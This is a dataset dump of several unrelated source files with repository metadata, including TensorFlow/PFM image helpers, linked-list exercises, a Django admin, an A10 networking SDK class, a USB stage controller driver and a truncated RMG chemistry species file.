padded_left = tf.pad(input_tensor,[[0,0],[4,4],[4,4],[0,0]])
padded_ones = tf.pad(ones,[[0,0],[4,4],[4,4],[0,0]])
input_tensor_std = tf.zeros_like(input_tensor)
for x in range(9):
for y in range(9):
input_tensor_std += tf.square(padded_left[:,y:y+full_h,x:x+full_w,:] - input_tensor_avg) * padded_ones[:,y:y+full_h,x:x+full_w,:]
const = 1e-10
input_tensor_std = tf.sqrt((input_tensor_std + const) / divide_weight)
#Center input around mean
input_tensor = (input_tensor - input_tensor_avg) / (input_tensor_std + const)
return input_tensor
def readPFM(file):
'''
This code is from https://lmb.informatik.uni-freiburg.de/resources/datasets/SceneFlowDatasets.en.html
'''
file = open(file, 'rb')
color = None
width = None
height = None
scale = None
endian = None
header = file.readline().rstrip()
if header.decode("ascii") == 'PF':
color = True
elif header.decode("ascii") == 'Pf':
color = False
else:
raise Exception('Not a PFM file.')
dim_match = re.match(r'^(\d+)\s(\d+)\s$', file.readline().decode("ascii"))
if dim_match:
width, height = list(map(int, dim_match.groups()))
else:
raise Exception('Malformed PFM header.')
scale = float(file.readline().decode("ascii").rstrip())
if scale < 0: # little-endian
endian = '<'
scale = -scale
else:
endian = '>' # big-endian
data = np.fromfile(file, endian + 'f')
shape = (1,height, width, 3) if color else (height, width)
data = np.reshape(data, shape)
data = np.flipud(data)
return data
def writePFM(file, image, scale=1):
'''
This code is from https://lmb.informatik.uni-freiburg.de/resources/datasets/SceneFlowDatasets.en.html
'''
file = open(file, 'wb')
color = None
if image.dtype.name != 'float32':
raise Exception('Image dtype must be float32.')
image = np.flipud(image)
if len(image.shape) == 3 and image.shape[2] == 3: # color image
color = True
elif len(image.shape) == 2 or len(image.shape) == 3 and image.shape[2] == 1: # greyscale
color = False
else:
raise Exception('Image must have H x W x 3, H x W x 1 or H x W dimensions.')
file.write('PF\n' if color else 'Pf\n'.encode())
file.write('%d %d\n'.encode() % (image.shape[1], image.shape[0]))
endian = image.dtype.byteorder
if endian == '<' or endian == '=' and sys.byteorder == 'little':
scale = -scale
file.write('%f\n'.encode() % scale)
image.tofile(file)
| [
"[email protected]"
]
| |
dfae7ec2e5295d75dd18efa6da46fbd208bce081 | b8c4ef9ccab22717ab97ab2fb100614d962a5820 | /src/main/python/com/skalicky/python/interviewpuzzles/merge_multiple_sorted_linked_lists.py | 1ac1c3dc9ac3a02f3b3c233c860d355c4f9dda3f | []
| no_license | Sandeep8447/interview_puzzles | 1d6c8e05f106c8d5c4c412a9f304cb118fcc90f4 | a3c1158fe70ed239f8548ace8d1443a431b644c8 | refs/heads/master | 2023-09-02T21:39:32.747747 | 2021-10-30T11:56:57 | 2021-10-30T11:56:57 | 422,867,683 | 0 | 0 | null | 2021-10-30T11:56:58 | 2021-10-30T11:55:17 | null | UTF-8 | Python | false | false | 3,633 | py | # Task:
#
# You are given an array of k sorted singly linked lists. Merge the linked lists into a single sorted linked list and
# return it.
#
# Here's your starting point:
#
# class Node(object):
# def __init__(self, val, next=None):
# self.val = val
# self.next = next
#
# def __str__(self):
# c = self
# answer = ""
# while c:
# answer += str(c.val) if c.val else ""
# c = c.next
# return answer
#
# def merge(lists):
# # Fill this in.
#
# a = Node(1, Node(3, Node(5)))
# b = Node(2, Node(4, Node(6)))
# print merge([a, b])
# # 123456
from typing import List, Optional
class Node:
def __init__(self, val: int, next_node=None):
self.val: int = val
self.next_node: Node = next_node
def __str__(self):
current: Node = self
answer = ""
while current:
answer += str(current.val) if current.val else ""
current = current.next_node
return answer
def set_next_node_and_determine_beginning(beginning: Node, current: Node, next_node: Node):
if current:
current.next_node = next_node
return beginning, next_node
else:
return next_node, next_node
def merge_two_lists(first: Node, second: Node):
first_current: Node = first
second_current: Node = second
result_beginning: Optional[Node] = None
result_current: Optional[Node] = None
while first_current and second_current:
if first_current.val <= second_current.val:
result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning,
result_current,
first_current)
first_current = first_current.next_node
else:
result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning,
result_current,
second_current)
second_current = second_current.next_node
if not first_current and second_current:
result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning,
result_current,
second_current)
if not second_current and first_current:
result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning,
result_current,
first_current)
return result_beginning
def merge(lists: List[Node]):
if len(lists) == 0:
return ''
else:
current_lists: List[Node] = lists
while len(current_lists) > 1:
last: Node = current_lists.pop()
one_before_last: Node = current_lists.pop()
current_lists.append(merge_two_lists(last, one_before_last))
return current_lists[0]
list1 = Node(1, Node(3, Node(5)))
list2 = Node(3, Node(4, Node(6, Node(7))))
list3 = Node(2, Node(8))
list4 = Node(9)
print(merge([list1, list2, list3, list4]))
# 123456
print(merge([]))
#
list5 = Node(1, Node(3, Node(5)))
print(merge([list5]))
# 135
list6 = Node(1, Node(3, Node(5)))
list7 = None
print(merge([list6, list7]))
# 135
| [
"[email protected]"
]
| |
06a1015299b1742df49a3baa3691aa1c0bcdbb5f | 71f3ecb8fc4666fcf9a98d39caaffc2bcf1e865c | /.history/็ฌฌ4็ซ /lian1_20200608191011.py | 322b31fe7018eb95ef28b4b5924a2532c3a1b951 | [
"MIT"
]
| permissive | dltech-xyz/Alg_Py_Xiangjie | 03a9cac9bdb062ce7a0d5b28803b49b8da69dcf3 | 877c0f8c75bf44ef524f858a582922e9ca39bbde | refs/heads/master | 2022-10-15T02:30:21.696610 | 2020-06-10T02:35:36 | 2020-06-10T02:35:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,524 | py | #!/usr/bin/env python
# coding=utf-8
'''
@version:
@Author: steven
@Date: 2020-05-27 22:20:22
@LastEditors: steven
@LastEditTime: 2020-06-08 19:10:11
@Description:
'''
class Node(object):
# ๅจpython 3 ไธญๅทฒ็ป้ป่ฎคๅฐฑๅธฎไฝ ๅ ่ฝฝไบobjectไบ๏ผๅณไพฟไฝ ๆฒกๆๅไธobject๏ผใhttps://my.oschina.net/zhengtong0898/blog/636468
def __init__(self, data, pnext = None):
"""
data:่็นไฟๅญ็ๆฐๆฎ
_next:ไฟๅญไธไธไธช่็นๅฏน่ฑก
"""
self.data = data
self._next = pnext
def __repr__(self):
"""
็จไบๅฎไนNode็ๅญ็ฌฆ่พๅบ๏ผ
?print็จไบ่พๅบdata
"""
return str(self.data)
class ChainTable(object):
def __init__(self):
self.head = None
self.length = 0
def isEmpty(self):
return (self.length == 0)
def append(self, dataOrNode):
item = None
if isinstance(dataOrNode, Node):
item = dataOrNode
else:
item = Node(dataOrNode)
if not self.head:
self.head = item
self.length += 1
else:
# ็งปๅจๅฐๅทฒๆ็ๆๅ่็นใ
node = self.head
while node._next:
node = node._next
node._next = item
self.length += 1
def delete(self, index):
if self.isEmpty():
print("this chain table is empty.")
return
if index < 0 or index >= self.length:
print('error: out of index')
return
if index == 0:
self.head = self.head._next
self.length -= 1
return
j = 0
node = self.head
prev = self.head
while node._next and j < index:
prev = node
node = node._next
j += 1
if j == index:
prev._next = node._next
self.length -= 1
def insert(self, index, dataOrNode):
if self.isEmpty():
print("this chain tabale is empty")
return
if index < 0 or index >= self.length:
print("error: out of index")
return
item = None
if isinstance(dataOrNode, Node):
item = dataOrNode
else:
item = Node(dataOrNode)
if index == 0:
item._next = self.head
self.head = item
self.length += 1
return
j = 0
node = self.head
prev = self.head
while node._next and j < index:
prev = node
node = node._next
j += 1
if j == index:
item._next = node
prev._next = item
self.length += 1
def update(self, index, data):
if self.isEmpty() or index < 0 or index >= self.length:
print('error: out of index')
return
j = 0
node = self.head
while node._next and j < index:
node = node._next
j += 1
if j == index:
node.data = data
def getItem(self, index):
if self.isEmpty() or index < 0 or index >= self.length:
print("error: out of index")
return
j = 0
node = self.head
while node._next and j < index:
node = node._next
j += 1
return node.data
def getIndex(self, data):
j = 0
if self.isEmpty():
print("this chain table is empty")
return
node = self.head
while node:
if node.data == data:
return j
node = node._next
j += 1
if j == self.length:
print("%s not found" % str(data))
return
def clear(self):
self.head = None
self.length = 0
def __repr__(self):
if self.isEmpty():
return("empty chain table")
node = self.head
nlist = ''
while node:
nlist += str(node.data) + ' '
node = node._next
return nlist
def __getitem__(self, ind):
if self.isEmpty() or ind < 0 or ind >= self.length:
print("error: out of index")
return
return self.getItem(ind)
def __setitem__(self, ind, val):
if self.isEmpty() or ind < 0 or ind >= self.length:
print("error: out of index")
return
self.update(ind, val)
def __len__(self):
return self.length
| [
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| |
bf726f5207709908e58489b515b521a76322c265 | a5a33e7446e9af18be7861f8e5b44e33fcfed9e1 | /users/admin.py | 8d272c18906bd46236e726c597ce2eea308721c4 | []
| no_license | akabhi5/url-shortener-django-api | 75afc14f167310a7a22429650a504da820627924 | 33a1fd3f52ce95b8d68ba706ce91cdfd95f95e53 | refs/heads/main | 2023-09-02T19:21:40.524613 | 2021-11-16T16:47:12 | 2021-11-16T16:47:12 | 380,212,386 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 911 | py | # users/admin.py
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.contrib.auth.models import Group
from django.contrib import admin
from users.forms import UserChangeForm, UserCreationForm
from users.models import User
class UserAdmin(BaseUserAdmin):
form = UserChangeForm
add_form = UserCreationForm
list_display = ('email', 'is_admin')
list_filter = ('is_admin',)
fieldsets = (
(None, {'fields': ('email', 'password', 'first_name', 'last_name',)}),
('Permissions', {'fields': ('is_admin',)}),
)
add_fieldsets = (
(None, {
'classes': ('wide',),
'fields': ('email', 'password1', 'password2'),
}),
)
search_fields = ('email',)
ordering = ('email',)
filter_horizontal = ()
class Meta:
model = User
admin.site.register(User, UserAdmin)
admin.site.unregister(Group)
| [
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]
| |
e6172fd041838054a0760cdc1ac341bcfcf3bb15 | bd1b1fda138e6687dadc57317c3e312bc8872600 | /mycode/leetcode2017/Hash/359 Logger Rate Limiter.py | af15b46efce80851b00ad6e66769fec1c7c88d72 | []
| no_license | dundunmao/lint_leet | fc185038f57e0c5cbb82a74cebd4fe00422416cb | 5788bd7b154649d2f787bbc4feb717ff2f4b4c59 | refs/heads/master | 2020-11-30T04:56:25.553327 | 2017-10-22T07:11:01 | 2017-10-22T07:11:01 | 96,705,212 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,207 | py | # -*- encoding: utf-8 -*-
# Logger Rate Limiter ่ฎฐๅฝ้็้ๅถๅจ
# ่ฟ้้ข่ฎฉๆไปฌ่ฎพ่ฎกไธไธช่ฎฐๅฝ็ณป็ปๆฏๆฌกๆฅๅไฟกๆฏๅนถไฟๅญๆถ้ดๆณ๏ผ็ถๅ่ฎฉๆไปฌๆๅฐๅบ่ฏฅๆถๆฏ๏ผๅๆๆฏๆ่ฟ10็งๅ
ๆฒกๆๆๅฐๅบ่ฟไธชๆถๆฏ
# Example:
# Logger logger = new Logger();
#
# // logging string "foo" at timestamp 1
# logger.shouldPrintMessage(1, "foo"); returns true;
#
# // logging string "bar" at timestamp 2
# logger.shouldPrintMessage(2,"bar"); returns true;
#
# // logging string "foo" at timestamp 3
# logger.shouldPrintMessage(3,"foo"); returns false;
#
# // logging string "bar" at timestamp 8
# logger.shouldPrintMessage(8,"bar"); returns false;
#
# // logging string "foo" at timestamp 10
# logger.shouldPrintMessage(10,"foo"); returns false;
#
# // logging string "foo" at timestamp 11
# logger.shouldPrintMessage(11,"foo"); returns true;
class Logger():
def __init__(self):
self.message = {}
def shouldPrintMessage(self,time,str):
if self.message.has_key(str):
if time - self.message[str] > 10:
return True
else:
return False
else:
self.message[str] = time
return True
| [
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]
| |
0f87356dc8737967c17be6fb9a93469fbc84b1dc | e42a61b7be7ec3412e5cea0ffe9f6e9f34d4bf8d | /a10sdk/core/gslb/gslb_geoloc_rdt_oper.py | a354a4599bd1c8491c401a33f89f34e99d66ee21 | [
"Apache-2.0"
]
| permissive | amwelch/a10sdk-python | 4179565afdc76cdec3601c2715a79479b3225aef | 3e6d88c65bd1a2bf63917d14be58d782e06814e6 | refs/heads/master | 2021-01-20T23:17:07.270210 | 2015-08-13T17:53:23 | 2015-08-13T17:53:23 | 40,673,499 | 0 | 0 | null | 2015-08-13T17:51:35 | 2015-08-13T17:51:34 | null | UTF-8 | Python | false | false | 3,000 | py | from a10sdk.common.A10BaseClass import A10BaseClass
class GeolocRdtList(A10BaseClass):
"""This class does not support CRUD Operations please use parent.
:param rdt: {"type": "number", "format": "number"}
:param site_name: {"type": "string", "format": "string"}
:param gl_name: {"type": "string", "format": "string"}
:param type: {"type": "string", "format": "string"}
:param age: {"type": "number", "format": "number"}
:param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py`
"""
def __init__(self, **kwargs):
self.ERROR_MSG = ""
self.b_key = "geoloc-rdt-list"
self.DeviceProxy = ""
self.rdt = ""
self.site_name = ""
self.gl_name = ""
self.A10WW_type = ""
self.age = ""
for keys, value in kwargs.items():
setattr(self,keys, value)
class Oper(A10BaseClass):
"""This class does not support CRUD Operations please use parent.
:param geoloc_rdt_list: {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"rdt": {"type": "number", "format": "number"}, "optional": true, "site-name": {"type": "string", "format": "string"}, "gl-name": {"type": "string", "format": "string"}, "type": {"type": "string", "format": "string"}, "age": {"type": "number", "format": "number"}}}]}
:param geo_name: {"type": "string", "format": "string"}
:param site_name: {"type": "string", "format": "string"}
:param active_status: {"type": "string", "format": "string"}
:param total_rdt: {"type": "number", "format": "number"}
:param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py`
"""
def __init__(self, **kwargs):
self.ERROR_MSG = ""
self.b_key = "oper"
self.DeviceProxy = ""
self.geoloc_rdt_list = []
self.geo_name = ""
self.site_name = ""
self.active_status = ""
self.total_rdt = ""
for keys, value in kwargs.items():
setattr(self,keys, value)
class GeolocRdt(A10BaseClass):
"""Class Description::
Operational Status for the object geoloc-rdt.
Class geoloc-rdt supports CRUD Operations and inherits from `common/A10BaseClass`.
This class is the `"PARENT"` class for this module.`
:param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py`
URL for this object::
`https://<Hostname|Ip address>//axapi/v3/gslb/geoloc-rdt/oper`.
"""
def __init__(self, **kwargs):
self.ERROR_MSG = ""
self.required=[]
self.b_key = "geoloc-rdt"
self.a10_url="/axapi/v3/gslb/geoloc-rdt/oper"
self.DeviceProxy = ""
self.oper = {}
for keys, value in kwargs.items():
setattr(self,keys, value)
| [
"[email protected]"
]
| |
d21833248f0bdec9ce0f4b88c983939bacd74938 | 4f1fa59cc81dbaabf41c9e95108b643d00faceb9 | /ros/actuation/stage/nodes/StageDevice.py | e2a4e44a9b722baa74204c36c0ee7ad2f637ad59 | []
| no_license | florisvb/Flyatar | 7f31bb27108f6da785e67a2b92f56e7bc0beced0 | dfaf30bcb77d6c95cab67ad280615722a11814c3 | refs/heads/master | 2021-01-01T15:44:54.827787 | 2010-06-24T01:24:06 | 2010-06-24T01:24:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,686 | py | #!/usr/bin/env python
#
# StageDevice.py
#
# Control interface for at90usb based xyfly stage board.
# Provides python module and a command line utility.
#
# Note, need to set permissions correctly to get device to respond to nonroot
# users. This required adding and rules file to udev/rules.d and adding a
# group.
#
# who when what
# --- ---- ----
# pjp 08/19/09 version 1.0
# ---------------------------------------------------------------------------
from __future__ import division
import USBDevice
import ctypes
import time
# XYFly stage device parameters
_motor_num = 3
# Input/Output Structures
class MotorState_t(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ =[('Frequency', ctypes.c_uint16),
('Position', ctypes.c_uint16)]
class USBPacketOut_t(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ =[('MotorUpdate', ctypes.c_uint8),
('SetPoint', MotorState_t * _motor_num)]
class USBPacketIn_t(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ =[('MotorState', MotorState_t * _motor_num)]
class StageDevice(USBDevice.USB_Device):
def __init__(self, serial_number=None):
# USB device parameters
self.vendor_id = 0x0004
self.product_id = 0x0002
self.bulkout_ep_address = 0x01
self.bulkin_ep_address = 0x82
self.buffer_out_size = 64
self.buffer_in_size = 64
self.serial_number = serial_number
USBDevice.USB_Device.__init__(self,
self.vendor_id,
self.product_id,
self.bulkout_ep_address,
self.bulkin_ep_address,
self.buffer_out_size,
self.buffer_in_size,
self.serial_number)
# USB Command IDs
self.USB_CMD_GET_STATE = ctypes.c_uint8(1)
self.USB_CMD_SET_STATE = ctypes.c_uint8(2)
self.USBPacketOut = USBPacketOut_t()
self.USBPacketIn = USBPacketIn_t()
# self.Motor = []
# for MotorN in range(_motor_num):
# self.Motor.append({'Frequency' : 0,
# 'FrequencyMax' : FREQUENCY_MAX,
# 'Position' : 0,
# 'PositionMin' : POSITION_MIN,
# 'PositionMax' : POSITION_MAX,
# 'PositionSetPoint' : 0,
# 'Direction' : 0})
# Parameters
self.frequency_max = 30000
self.position_min = 0
self.position_max = 44000
self.steps_per_mm = 5000/25.4 # 5000 steps per inch
# 25.4 mm per inch
self.steps_per_radian = 200 # Change to actual number!
self.axis_x = 0
self.axis_y = 1
self.axis_theta = 2
self.x_vel_mm = 0
self.x_vel_steps = 0
self.y_vel_mm = 0
self.y_vel_steps = 0
self.x_pos_mm = 0
self.x_pos_steps = 0
self.y_pos_mm = 0
self.y_pos_steps = 0
def update_velocity(self, x_velocity, y_velocity):
self.x_vel_mm = x_velocity
self.y_vel_mm = y_velocity
self.x_vel_steps = self._mm_to_steps(self.x_vel_mm)
self.y_vel_steps = self._mm_to_steps(self.y_vel_mm)
if self.x_vel_steps < 0:
self.x_pos_steps = self.position_min
self.x_vel_steps = abs(self.x_vel_steps)
else:
self.x_pos_steps = self.position_max
if self.y_vel_steps < 0:
self.y_pos_steps = self.position_min
self.y_vel_steps = abs(self.y_vel_steps)
else:
self.y_pos_steps = self.position_max
if self.x_vel_steps > self.frequency_max:
self.x_vel_steps = self.frequency_max
if self.y_vel_steps > self.frequency_max:
self.y_vel_steps = self.frequency_max
self._set_frequency(self.axis_x,self.x_vel_steps)
self._set_position(self.axis_x,self.x_pos_steps)
self._set_frequency(self.axis_y,self.y_vel_steps)
self._set_position(self.axis_y,self.y_pos_steps)
self._set_motor_state()
x,y,theta,x_velocity,y_velocity,theta_velocity = self.return_state()
return x,y,theta,x_velocity,y_velocity,theta_velocity
def get_state(self):
self._get_motor_state()
x,y,theta,x_velocity,y_velocity,theta_velocity = self.return_state()
return x,y,theta,x_velocity,y_velocity,theta_velocity
def return_state(self):
x_velocity = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_x].Frequency)
x = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_x].Position)
y_velocity = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_y].Frequency)
y = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_y].Position)
theta_velocity = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_theta].Frequency)
theta = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_theta].Position)
return x,y,theta,x_velocity,y_velocity,theta_velocity
def _mm_to_steps(self,quantity_mm):
return quantity_mm*self.steps_per_mm
def _steps_to_mm(self,quantity_steps):
return quantity_steps/self.steps_per_mm
def _set_frequency(self,axis,freq):
self.USBPacketOut.SetPoint[axis].Frequency = int(freq)
def _set_position(self,axis,pos):
self.USBPacketOut.SetPoint[axis].Position = int(pos)
def _get_motor_state(self):
outdata = [self.USB_CMD_GET_STATE]
intypes = [ctypes.c_uint8, USBPacketIn_t]
val_list = self.usb_cmd(outdata,intypes)
cmd_id = val_list[0]
self._check_cmd_id(self.USB_CMD_GET_STATE,cmd_id)
self.USBPacketIn = val_list[1]
def _set_motor_state(self):
self.USBPacketOut.MotorUpdate = ctypes.c_uint8(7)
outdata = [self.USB_CMD_SET_STATE, self.USBPacketOut]
intypes = [ctypes.c_uint8, USBPacketIn_t]
val_list = self.usb_cmd(outdata,intypes)
cmd_id = val_list[0]
self._check_cmd_id(self.USB_CMD_SET_STATE,cmd_id)
self.USBPacketIn = val_list[1]
def _print_motor_state(self):
print '*'*20
print 'Frequency X = ', self.USBPacketIn.MotorState[self.axis_x].Frequency
print 'Position X = ', self.USBPacketIn.MotorState[self.axis_x].Position
print 'Frequency Y = ', self.USBPacketIn.MotorState[self.axis_y].Frequency
print 'Position Y = ', self.USBPacketIn.MotorState[self.axis_y].Position
print 'Frequency Theta = ', self.USBPacketIn.MotorState[self.axis_theta].Frequency
print 'Position Theta = ', self.USBPacketIn.MotorState[self.axis_theta].Position
print '*'*20
def _check_cmd_id(self,expected_id,received_id):
"""
Compares expected and received command ids.
Arguments:
expected_id = expected command id
received_is = received command id
Return: None
"""
if not expected_id.value == received_id.value:
msg = "received incorrect command ID %d expected %d"%(received_id.value,expected_id.value)
raise IOError, msg
return
#-------------------------------------------------------------------------------------
if __name__ == '__main__':
print "Opening XYFly stage device ..."
dev = StageDevice()
dev.print_values()
dev.close()
print "XYFly stage device closed."
| [
"[email protected]"
]
| |
e986cdd445a1e19e8935ecb7c97f891c9b9a8eb9 | 41fd80f9ccc72a17c2db16b7019312a87d3181e8 | /zhang_local/pdep/network5115_1.py | 40a4c9b1f1130ac0aadaafa4170cd5a2f758f213 | []
| no_license | aberdeendinius/n-heptane | 1510e6704d87283043357aec36317fdb4a2a0c34 | 1806622607f74495477ef3fd772908d94cff04d9 | refs/heads/master | 2020-05-26T02:06:49.084015 | 2019-07-01T15:12:44 | 2019-07-01T15:12:44 | 188,069,618 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 64,706 | py | species(
label = 'C=[C]C(O)C[C]=O(14295)',
structure = SMILES('C=[C]C(O)C[C]=O'),
E0 = (101.894,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3615,1277.5,1000,2950,3100,1380,975,1025,1650,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,1685,370,243.441,243.605],'cm^-1')),
HinderedRotor(inertia=(0.00285574,'amu*angstrom^2'), symmetry=1, barrier=(0.119631,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.193957,'amu*angstrom^2'), symmetry=1, barrier=(8.10241,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.192572,'amu*angstrom^2'), symmetry=1, barrier=(8.09824,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.191549,'amu*angstrom^2'), symmetry=1, barrier=(8.09734,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.17162,0.0659362,-7.8981e-05,5.36055e-08,-1.49744e-11,12353.6,29.0775], Tmin=(100,'K'), Tmax=(864.703,'K')), NASAPolynomial(coeffs=[9.44945,0.0276434,-1.25533e-05,2.39036e-09,-1.66946e-13,10922.1,-9.65477], Tmin=(864.703,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(101.894,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CCCJ=O)"""),
)
species(
label = 'C=C=O(598)',
structure = SMILES('C=C=O'),
E0 = (-59.3981,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650,2120,512.5,787.5],'cm^-1')),
],
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (42.0367,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(3625.12,'J/mol'), sigma=(3.97,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=2.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.52746,0.00708371,9.17709e-06,-1.64254e-08,6.71115e-12,-7123.94,5.7438], Tmin=(100,'K'), Tmax=(956.683,'K')), NASAPolynomial(coeffs=[5.76495,0.00596559,-1.98486e-06,3.52744e-10,-2.51619e-14,-7929,-6.92178], Tmin=(956.683,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-59.3981,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(108.088,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cds-(Cdd-O2d)HH)"""),
)
species(
label = 'C=C=CO(12571)',
structure = SMILES('C=C=CO'),
E0 = (-26.0646,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650,540,610,2055,3615,1277.5,1000,3010,987.5,1337.5,450,1655],'cm^-1')),
HinderedRotor(inertia=(1.34368,'amu*angstrom^2'), symmetry=1, barrier=(30.8938,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (56.0633,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(3437.21,'J/mol'), sigma=(5.57865,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=536.88 K, Pc=44.92 bar (from Joback method)"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.31583,0.0236137,2.05754e-05,-5.73733e-08,2.79863e-11,-3061.58,12.125], Tmin=(100,'K'), Tmax=(901.949,'K')), NASAPolynomial(coeffs=[16.2977,-0.00239911,3.975e-06,-8.57293e-10,5.72973e-14,-7047.88,-62.0029], Tmin=(901.949,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-26.0646,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(178.761,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cds-CdsOsH) + group(Cds-CdsHH) + group(Cdd-CdsCds)"""),
)
species(
label = 'H(8)',
structure = SMILES('[H]'),
E0 = (211.805,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (1.00794,'amu'),
collisionModel = TransportData(shapeIndex=0, epsilon=(1205.6,'J/mol'), sigma=(2.05,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,9.24385e-15,-1.3678e-17,6.66185e-21,-1.00107e-24,25474.2,-0.444973], Tmin=(100,'K'), Tmax=(3459.6,'K')), NASAPolynomial(coeffs=[2.5,9.20456e-12,-3.58608e-15,6.15199e-19,-3.92042e-23,25474.2,-0.444973], Tmin=(3459.6,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(211.805,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""H""", comment="""Thermo library: primaryThermoLibrary"""),
)
species(
label = 'C=C=C(O)C[C]=O(28246)',
structure = SMILES('C=C=C(O)C[C]=O'),
E0 = (-7.15802,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3615,1277.5,1000,350,440,435,1725,2950,3100,1380,975,1025,1650,1855,455,950,540,610,2055,2750,2850,1437.5,1250,1305,750,350,180],'cm^-1')),
HinderedRotor(inertia=(0.843614,'amu*angstrom^2'), symmetry=1, barrier=(19.3964,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.847586,'amu*angstrom^2'), symmetry=1, barrier=(19.4877,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.842821,'amu*angstrom^2'), symmetry=1, barrier=(19.3781,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.863412,0.058442,-4.26756e-05,6.77566e-09,2.85378e-12,-738.843,24.6617], Tmin=(100,'K'), Tmax=(1047.44,'K')), NASAPolynomial(coeffs=[17.9556,0.0128654,-5.61252e-06,1.13817e-09,-8.54719e-14,-5399.87,-63.7479], Tmin=(1047.44,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-7.15802,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(270.22,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cds-CdsCsOs) + group(Cds-OdCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds) + radical(CCCJ=O)"""),
)
species(
label = 'C=[C]C(O)C=C=O(28247)',
structure = SMILES('C=[C]C(O)C=C=O'),
E0 = (58.1781,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3615,1277.5,1000,2950,3100,1380,975,1025,1650,2120,512.5,787.5,1685,370,3010,987.5,1337.5,450,1655,1380,1390,370,380,2900,435,180,180],'cm^-1')),
